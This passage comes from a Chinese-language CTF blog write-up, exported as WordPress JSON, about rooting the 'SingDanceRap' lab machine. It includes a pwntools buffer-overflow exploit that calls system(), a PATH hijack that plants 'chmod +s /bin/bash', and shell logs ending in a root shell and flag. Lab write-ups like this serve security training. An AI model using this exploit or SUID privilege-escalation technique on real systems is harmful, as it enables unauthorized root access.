\u627e\u5230\u4e86\u4e00\u4e2a\u7cfb\u7edf\u547d\u4ee4\u51fd\u6570\uff1a<\/p>\n
\"image-20250620092953949\"<\/div><\/p>\n
\u8fd8\u6709\u4e00\u4e2a\u8c03\u7528\uff1a<\/p>\n
\"image-20250620120912022\"<\/div>
\n
\"image-20250620120938493\"<\/div><\/p>\n
\u8c03\u7528\u65f6\uff0c\u8eab\u4efd\u4e3a 0 \uff0c\u5373 root \u3002<\/p>\n
\u7136\u540e\u770b\u4e00\u4e0binput<\/code>\uff1a<\/p>\n
\"image-20250620093209598\"<\/div><\/p>\n
int input()\n{\n  char v1; \/\/ [esp+Ch] [ebp-1Ch]\n\n  return __isoc99_scanf("%s", &v1);\n}<\/code><\/pre>\n
\u8ba1\u7b97\u504f\u79fb\u91cf<\/h4>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ gdb .\/thekey2root\nGNU gdb (Debian 16.3-1) 16.3\nCopyright (C) 2024 Free Software Foundation, Inc.\nLicense GPLv3+: GNU GPL version 3 or later <http:\/\/gnu.org\/licenses\/gpl.html>\nThis is free software: you are free to change and redistribute it.\nThere is NO WARRANTY, to the extent permitted by law.\nType "show copying" and "show warranty" for details.\nThis GDB was configured as "x86_64-linux-gnu".\nType "show configuration" for configuration details.\nFor bug reporting instructions, please see:\n<https:\/\/www.gnu.org\/software\/gdb\/bugs\/>.\nFind the GDB manual and other documentation resources online at:\n    <http:\/\/www.gnu.org\/software\/gdb\/documentation\/>.\n\nFor help, type "help".\nType "apropos word" to search for commands related to "word"...\nReading symbols from .\/thekey2root...\n(No debugging symbols found in .\/thekey2root)\ngdb-peda$ run\nStarting program: \/home\/kali\/temp\/SingDanceRap\/thekey2root \n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library "\/lib\/x86_64-linux-gnu\/libthread_db.so.1".\n[Attaching after Thread 0xf7fc04c0 (LWP 6714) vfork to child process 6717]\n[New inferior 2 (process 6717)]\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library "\/lib\/x86_64-linux-gnu\/libthread_db.so.1".\n[Detaching vfork parent process 6714 after child exec]\n[Inferior 1 (process 6714) detached]\nprocess 6717 is executing new program: \/usr\/bin\/dash\n[Thread debugging using libthread_db enabled]\nUsing host libthread_db library "\/lib\/x86_64-linux-gnu\/libthread_db.so.1".\ninput something:\n[Inferior 2 (process 6717) exited normally]\nWarning: not running<\/code><\/pre>\n
\u9700\u8981\u8ddf\u8e2a\u7236\u8fdb\u7a0b\uff1a<\/p>\n
gdb-peda$ set follow-fork-mode parent\ngdb-peda$ run<\/code><\/pre>\n
\"image-20250620110705307\"<\/div><\/p>\n
gdb-peda$ pattern offset 0x41412941\n1094789441 found at offset: 32<\/code><\/pre>\n
\u6545\u504f\u79fb\u91cf\u4e3a32<\/code><\/p>\n
\u6784\u9020\u76f8\u5173payload<\/h4>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ objdump -s -j .rodata thekey2root \n\nthekey2root:     file format elf32-i386\n\nContents of section .rodata:\n 804a000 03000000 01000200 6563686f 2027696e  ........echo 'in\n 804a010 70757420 736f6d65 7468696e 673a2700  put something:'.\n 804a020 6563686f 20277468 616e6b73 20666f72  echo 'thanks for\n 804a030 20796f75 7220696e 70757427 00257300   your input'.%s.\n 804a040 6563686f 20274865 792c6272 6f212057  echo 'Hey,bro! W\n 804a050 68617420 61726520 796f7520 6c6f6f6b  hat are you look\n 804a060 696e6720 666f723f 2700               ing for?'.<\/code><\/pre>\n
\u4e00\u884c\u5341\u516d\u4f4d\u5b57\u7b26\uff0c\u6570\u4e00\u4e0bs\u662f\u5012\u6570\u7b2c\u4e8c\u4e2a\uff0c\u5bf9\u5e94\u524d\u9762\u7684\u5012\u6570\u7b2c\u4e8c\u4e2a\u5b57\u8282\uff0c\u5341\u516d\u8fdb\u5236\u4e3a 73\uff0c\u5730\u5740\u5373\u4e3a\uff0c804a03e<\/code>\uff0c\u5012\u6570\u7b2c\u4e00\u4e2a\u5b57\u8282\u4e3a00<\/code><\/p>\n
\u9700\u8981\u6ce8\u610f\u5230\uff1a<\/p>\n
\n
C \u5b57\u7b26\u4e32\u901a\u8fc7\u6570\u7ec4\u8fde\u7eed\u5b58\u50a8\uff0c\u7cfb\u7edf\u8c03\u7528\u9700\u6309\u987a\u5e8f\u89e3\u6790\u5b57\u7b26<\/p>\n
C \u8bed\u8a00\u4f9d\u8d56 \\0<\/code> \u6807\u8bb0\u5b57\u7b26\u4e32\u7ed3\u675f\uff0c\u907f\u514d\u8d8a\u754c\u8bbf\u95ee\u548c\u672a\u5b9a\u4e49\u884c\u4e3a<\/p>\n
\u540e\u8005\u82e5\u8fdd\u53cd\u5219\u4f1a\u5bfc\u81f4\u7f13\u51b2\u533a\u6ea2\u51fa\u3001\u547d\u4ee4\u6ce8\u5165\u6f0f\u6d1e<\/p>\n<\/blockquote>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ objdump -d thekey2root | grep system                             \n08049040 <system@plt>:\n 80491b6:       e8 85 fe ff ff          call   8049040 <system@plt>\n 80491cd:       e8 6e fe ff ff          call   8049040 <system@plt>\n 8049249:       e8 f2 fd ff ff          call   8049040 <system@plt><\/code><\/pre>\n
\u968f\u4fbf\u9009\u4e00\u4e2a\u5373\u53ef\uff0c\u4f46\u662f\u53d1\u73b0\u6ca1\u6709\/bin\/sh<\/code>\u4f9b\u6211\u4eec\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ objdump -s -j .rodata thekey2root | grep 'sh'\n<\/code><\/pre>\n
\u91c7\u7528\u52ab\u6301\u73af\u5883\u53d8\u91cf\u7684\u65b9\u5f0f\uff0c\u5c06s<\/code>\u53d8\u4e3a\u4efb\u610f\u547d\u4ee4\u6267\u884c\uff1a<\/p>\n
echo 'chmod +s \/bin\/bash' > s\nchmod +x s\nexport PATH=.:$PATH<\/code><\/pre>\n
from pwn import *\n\nelf = ELF('.\/thekey2root')\n\noffset = 32\nxiaoheizi_addr = 0x08049213\nsystem_addr = 0x080491b6\ns_addr = 0x0804a03e\n\npayload = b'A' * offset + p32(xiaoheizi_addr) + p32(system_addr) + p32(0xdeadbeef) + p32(s_addr)\n\nr = remote('192.168.10.101', 2345)\n\nr.send(payload)\nr.interactive()<\/code><\/pre>\n
\u6302\u8f7d\u7a0b\u5e8f<\/h4>\n
he110wor1d@singdancerap:~$ whereis socat\nsocat: \/usr\/bin\/socat \/usr\/share\/man\/man1\/socat.1.gz\nhe110wor1d@singdancerap:~$ ls -la\ntotal 36\ndrwxr-x--- 5 he110wor1d he110wor1d 4096 Jun 19 19:07 .\ndrwxr-xr-x 3 root       root       4096 Mar  1 01:10 ..\nlrwxrwxrwx 1 he110wor1d he110wor1d    9 Feb 28 06:49 .bash_history -> \/dev\/null\n-rw-r--r-- 1 he110wor1d he110wor1d  220 Apr 17  2019 .bash_logout\n-rw-r--r-- 1 he110wor1d he110wor1d 3526 Apr 17  2019 .bashrc\ndrwxr-xr-x 3 he110wor1d he110wor1d 4096 Mar  1 07:23 .local\n-rw-r--r-- 1 he110wor1d he110wor1d  807 Apr 17  2019 .profile\ndrwxr-xr-x 2 he110wor1d he110wor1d 4096 Jun 19 19:08 .ssh\ndrwxr-x--- 2 he110wor1d he110wor1d 4096 Mar  3 04:21 thekey2root\n-rw------- 1 he110wor1d he110wor1d  109 Feb 28 06:59 user.txt\nhe110wor1d@singdancerap:~$ cd thekey2root\/\nhe110wor1d@singdancerap:~\/thekey2root$ ls -la\ntotal 24\ndrwxr-x--- 2 he110wor1d he110wor1d  4096 Mar  3 04:21 .\ndrwxr-x--- 5 he110wor1d he110wor1d  4096 Jun 19 19:07 ..\n-rwsr-sr-x 1 root       root       15472 Mar  1 00:23 thekey2root\nhe110wor1d@singdancerap:~\/thekey2root$ pwd\n\/home\/he110wor1d\/thekey2root\nhe110wor1d@singdancerap:~\/thekey2root$ echo 'chmod +s \/bin\/bash' > s\nhe110wor1d@singdancerap:~\/thekey2root$ ls -la \/bin\/bash\n-rwxr-xr-x 1 root root 1302248 Apr 17  2019 \/bin\/bash\nhe110wor1d@singdancerap:~\/thekey2root$ chmod +x s\nhe110wor1d@singdancerap:~\/thekey2root$ PATH=.:$PATH\nhe110wor1d@singdancerap:~\/thekey2root$ echo $PATH\n.:\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\nhe110wor1d@singdancerap:~\/thekey2root$ socat tcp-l:2345,fork,reuseaddr exec:.\/thekey2root,reuseaddr\n<\/code><\/pre>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ nc $IP 2345                           \ninput something:\naaaaa\nthanks for your input<\/code><\/pre>\n
\u5c1d\u8bd5\u8fd0\u884c\u6307\u4ee4\u4f46\u662f\u62a5\u9519\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ python exp.py\n[*] '\/home\/kali\/temp\/SingDanceRap\/thekey2root'\n    Arch:       i386-32-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x8048000)\n    Stripped:   No\n[+] Opening connection to 192.168.10.101 on port 2345: Done\n[*] Switching to interactive mode\ninput something:\n$ aaa\nHey,bro! What are you looking for?\n$ whoami\n[*] Got EOF while reading in interactive\n$ id\n$ aaa\n[*] Closed connection to 192.168.10.101 port 2345\n[*] Got EOF while sending in interactive<\/code><\/pre>\n
\u8bf4\u660e\u6210\u529f\u8986\u76d6\u4e86\uff0c\u770b\u4e00\u4e0b\u662f\u5426\u6267\u884c\u6210\u529f\u4e86\u3002\u3002\u3002\u3002<\/p>\n
\"image-20250620143623258\"<\/div><\/p>\n
\u8bf4\u660e\u6210\u529f\u6267\u884c\u4e86\u547d\u4ee4\uff01\uff01\uff01\uff01<\/p>\n
he110wor1d@singdancerap:~\/thekey2root$ bash -p\nbash-5.0# whoami;id\nroot\nuid=1001(he110wor1d) gid=1001(he110wor1d) euid=0(root) egid=0(root) groups=0(root),1001(he110wor1d)\nbash-5.0# cd \/root\nbash-5.0# ls -la\ntotal 28\ndrwx------  3 root root 4096 Mar  3 04:20 .\ndrwxr-xr-x 18 root root 4096 Feb 27 16:41 ..\nlrwxrwxrwx  1 root root    9 Mar  1 01:11 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc\ndrwxr-xr-x  3 root root 4096 Jan 13  2021 .local\nlrwxrwxrwx  1 root root    9 Mar  1 01:12 .mysql_history -> \/dev\/null\n-rw-r--r--  1 root root  148 Aug 17  2015 .profile\n-rw-------  1 root root  151 Mar  1 04:13 root.txt\n-rw-r--r--  1 root root   75 Jan 11  2021 .selected_editor\nbash-5.0# cat root.txt \n#During the process of PWN, the execution of the system function does not necessarily have to be bash.\n\nroot flag:943ac8c9-f696-11ef-8bd4-005056207011<\/code><\/pre>\n
\u62ff\u5230flag\uff01\uff01\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
SingDanceRap \u6709\u5c0f\u9ed1\u5b50.jpg\uff01\uff01\uff01\uff01 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[~\/t […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,19,18],"tags":[],"class_list":["post-899","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-pwn","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/899","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=899"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/899\/revisions"}],"predecessor-version":[{"id":900,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/899\/revisions\/900"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=899"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=899"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=899"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}